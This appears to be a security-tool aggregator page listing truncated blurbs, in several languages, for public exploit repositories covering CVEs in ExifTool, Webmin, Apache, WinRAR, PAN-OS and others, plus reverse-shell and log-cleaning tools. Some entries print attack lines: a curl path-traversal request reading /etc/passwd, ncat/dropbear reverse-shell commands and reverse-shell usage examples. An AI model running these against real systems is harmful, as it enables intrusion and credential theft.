CVE-2021-22204-exiftool

CVE-2021-22204-exiftool Exiftool の CVE-2021-22204 脆弱性に対する Python エクスプロイト。 脆弱性について CVE-2021-22204 は William Bowling @wcbowling によって発見・報告されました。 このエクスプロイトは、CVE が報告された後に exiftool のパッチを研究して作成されました。 前提条件 exiftool と djvulibre ツールがインストールされていること。Debian または Ubuntu をお使いの場合は、以下のコマンドでインストールできます： root@kitploit...

Webmin-CVE-2022-0824-revshell

Webmin-CVE-2022-0824-リバースシェル 脆弱性の説明 Webmin 1.984 以下 - ファイルマネージャの権限昇格の脆弱性 CVE-2022-0824 および CVE-2022-0829 デフォルトの Authentic テーマを使用している場合、ファイルマネージャモジュールに制限が設定されていない権限の低い Webmin ユーザーが、root 権限でファイルにアクセスできる可能性があります。信頼されていない追加の Webmin ユーザーがいるシステムは、すぐにアップグレードする必要があります。なお、Virtualmin システムは、ドメイン所有者の Webmin...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 認証済みリモートコード実行 ⚠️ 免責事項 このリポジトリは教育および研究目的専用です。 すべてのデモは管理されたラボ環境で実施されました。 明示的な許可なしにシステムへの不正テストや悪用は違法かつ非倫理的です。著者はこの情報の誤用について一切の責任を負いません。 📌 Roundcubeとは？ Roundcube...

freedomfighting

Freedom Fighting スクリプト このリポジトリには、自由を求める活動中に役立つスクリプトが含まれています。必要に応じて、オンラインで見つけられないものが必要になったときに、不定期に更新されます。 ここにあるものはすべて GPL v3 ライセンス の条件の下で配布されています。 コントリビューションやプルリクエストは大歓迎です。 目次 nojail.py、Python のログクリーナー。 share.sh、セキュアなファイル共有スクリプト。 autojack.py、端末ロガー。 listurl.py、サイトマッパー。 ersh.py、暗号化リバースシェル。...

CVE-2016-10033

CVE2016-10033 エクスプロイト PoC このリポジトリには、脆弱なバージョンのWordPress上でCVE2016-10033を悪用するために必要なファイルが含まれています。 これらの手順に従うことで、Apacheサーバーを実行しているユーザーとしてWordPressを実行しているコンテナ内で、リバースインタラクティブシェル（疑似TTYではない）を取得できます。 このエクスプロイトは、いかなる種類の認証やプラグインも必要としません。WordPressのプレーンなコードと、WordPressからメールを送信するためのExim4...

CVE-2025-5781

FreePBX CVE-2025-57819 漏洞利用工具 描述 该脚本利用了 FreePBX 16.0.26.0 之前版本中的一个漏洞（CVE-2025-57819），允许远程攻击者通过 AJAX API 端点中的 SQL 注入缺陷执行任意 PHP 代码。该脚本会同时创建 webshell 和自动触发的反向 shell。 漏洞详情 CVE ：CVE-2025-57819 受影响版本 ：FreePBX 16.0.26.0 影响 ：远程代码执行（RCE） 攻击向量 ：AJAX API（/admin/ajax.php）中的 SQL 注入 功能特性 在 /pbxshell.php 创建持久化...

CVE-2024-9474

PAN-OS CVE-2024-0012 および CVE-2024-9474 ブログ投稿から生成されたPythonスクリプト : https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/?123 そこにすべて記載されています X での私のコメント : https://x.com/k4nfr3/status/1858993646923903103 リバースシェルの例...

pentestkoala

Koala 是 dropbear SSH 服务器的一个修补版本，它不绑定到端口，而是通过连接到远程客户端来开启反向 Shell。 这对于在被利用的机器上获取 pty 终端以及通过 SSH 端口转发安全地外泄数据非常有用。还可以通过使用动态 SSH 端口转发功能进行跳板攻击（Pivoting）。 用法 在客户端上运行以下命令以监听 SSH 连接： $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999' 在已被利用的主机上运行： $ ./dropbear -p client-host:5000 现在在客户端上，连接到端口 9999 以开启 Shell： $ s...

Project-CVE-2026-50751

CVE-2026-50751 IKEv1 安全测试 描述 此 Python 脚本是一个攻击性安全测试框架，旨在针对 CVE-2026-50751，即 Check Point IKEv1 VPN 身份验证绕过漏洞。 功能 扫描 IP 地址，检测 UDP 端口 500 上的 IKEv1 VPN 服务 尝试识别 Check Point VPN 网关 发送精心构造的 IKEv1 数据包，声称用于测试身份验证绕过 包含内部网络探测功能 包含反向 Shell 监听器和载荷生成功能 重要说明 此脚本并非已确认的可靠漏洞利用工具。某些功能可能失败、产生误报结果，或仅模拟 VPN 隧道创建等操作。...

CVE-2023-38831_ReverseShell_Winrar

CVE-2023-38831 在此，我分享利用 WinRAR 此漏洞所需的文件，通过该漏洞可以创建一个恶意 PDF，以便在我们的攻击机上建立反向 Shell。 ⚠️ 注意：此内容仅供道德目的分享，用于在受控环境中练习，不伤害第三方，绝不主张将这些资源用于恶意目的。 资源准备与利用 首先，下载本仓库的内容 。 我们将开始准备所有资源，以便正确利用。 我们有这 3 个文件： 第1步 ：首先需要修改 script.bat ，将其中的 ip 替换为我们的攻击机 IP，port 替换为我们监听接收反向 Shell 的端口。（建议使用 Visual Code Studio 进行修改）。 第2步 ：运行...

CVE-2026-23744-PoC

CVE-2026-23744-PoC 免责声明： 本概念验证（PoC）仅供 授权的安全研究、教育目的和受控实验室环境（例如 HTB、CTF 或经明确书面同意的内部渗透测试）使用。未经许可对任何系统进行未授权使用是非法且不道德的。作者对滥用不承担任何责任；用户应全权负责遵守所有适用法律法规。 描述 CVE-2026-23744 是 MCPJam Inspector（版本 ≤ 1.4.2）中的一个未认证命令注入漏洞。 /api/mcp/connect 端点接受包含 serverConfig.command 和 serverConfig.args 的 JSON...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 リバースシェル Apache 2.4.50 CGI 対応 使用方法： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 詳細情報： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 ...

CVE-2025-22457

PoC para CVE-2025-22457 Un desbordamiento de búfer basado en pila remoto sin autenticación que afecta a Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure y ZTA Gateways Resumen Este es un exploit de prueba de concepto para demostrar la explotación de CVE-2025-22457. Para un anális...

CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- 渗透测试 1.1. Path Traversal 读取 /etc/passwd 文件 !/bin/bash Script: exploitpathtraversal.sh 目标：从 Apache 2.4.49 读取 /etc/passwd 文件 TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+ 在 Apache 2.4.49 上利用路径遍历漏洞..." curl -s "$URL" ...

SLAE

SecurityTube Linux Assembly Expert このブログ記事は、SecurityTube Linux Assembly Expert認定の要件を満たすために作成されました： http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ 受講者ID: SLAE-1134 記事 アサインメント1: Linux x86 IPv4、IPv6、およびデュアルネットワークスタックTCPバインドシェル アサインメント2: Linux x86 IPv4およびIPv6...

CVE-2022-24715

Icinga Web 2 - 認証済みリモートコード実行 2.8.6、2.9.6、2.10 リモートコマンド実行 リバースシェル 使用方法 root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL http://ipvictima -U USER, --user USER Insert user -U user -P...

CVE-2023-42793

CVE-2023-42793 2023.05.4 より前の JetBrains TeamCity は認証バイパスの脆弱性の影響を受け、RCE につながります。 使用方法 リバースシェルを取得するには root@kitploit: python3 exploit.py 参照 https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/...

CVE-2020-8165

CVE-2020-8165.py CVE-2020-8165 エクスプロイト用のシェル: https://github.com/masahiro331/CVE-2020-8165 使用方法: CVE-2020-8165.py IP IP:PORT root@kitploit: CVE-2020-8165.py 2.3.2.3 10.10.10.10:4444...

CVE-2020-0796

CVE-2020-0796 リモートコード実行 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 攻撃者のミスを見つける CVE-2020-0796 / "SMBGhost" のリモートコード実行 POC 期待される結果: システムアクセスを伴うリバースシェル。 企業環境での教育およびテスト目的のみを意図しています。 ZecOps は本コードについて一切の責任を負いません。ご自身の責任でご使用ください。 SMBGhost やその他の攻撃を自動的に検出するための、サーバー、エンドポイント、モバイルデバイス向けのエージェントレス DFIR...

Follina

Follina 关于 CVE-2022-30190 的笔记 FOLLINA: CVE-2022-30190 1. 使用 Microsoft 支持诊断工具 MSDT 2. 利用打开的诊断窗口进行诊断，当正确执行时，为攻击者提供反向 shell。 3. Github: a. https://github.com/JohnHammond/msdt-follina b. https://github.com/chvancooten/follina.py 4. 感谢： a. @johnhammond b. @networkchuck 5. 使用方法 follina.py -h --command...